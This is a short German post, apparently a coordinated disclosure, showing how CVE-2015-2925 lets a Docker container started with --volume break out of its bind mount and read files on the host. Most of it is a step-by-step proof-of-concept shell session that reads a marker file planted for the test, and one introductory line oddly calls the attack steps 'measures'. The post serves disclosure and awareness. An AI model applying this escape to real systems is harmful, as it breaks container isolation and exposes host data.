
Docker + CVE-2015-2925 = Ausbruch aus --volume
Eine kürzlich entdeckte Schwachstelle in Linux, die seit etwa einem halben Jahr bekannt ist (seit mehreren Monaten öffentlich), ermöglicht es, aus bind mounts auszubrechen. Insbesondere bei Docker ist es möglich, aus dem Verzeichnis, das über die --volume-Option eingebunden wurde, in das entsprechende Host-Dateisystem auszubrechen.
Das Docker-Sicherheitsteam ist sich des Problems bereits bewusst und hat die Veröffentlichung erlaubt, um öffentliche Aufmerksamkeit zu erregen.
Dank an Jann Horn für den Hinweis; im Grunde habe ich es nur reproduziert.
Jede der folgenden Maßnahmen ist ausreichend:
# uname -r
3.18.9-aufs
# zgrep USER_NS /proc/config.gz
CONFIG_USER_NS=y
# docker -v
Docker version 1.6.1, build 97cd073
# docker pull debian:jessie
# mkdir /test && chmod 777 /test
# echo escaped > /etc/hostdata && chmod 644 /etc/hostdata
# docker run -i -t --rm -v /test:/test -u nobody debian:jessie
nobody@fc8925af0f19:/$ unshare -m -U -r /bin/bash
root@fc8925af0f19:/# cd /test
root@fc8925af0f19:/test# mkdir A A/B C D
root@fc8925af0f19:/test# mount --bind A D
root@fc8925af0f19:/test# cd D/B
root@fc8925af0f19:/test/D/B# mv /test/A/B /test/C
root@fc8925af0f19:/test/D/B# cat ../../../etc/hostdata
escaped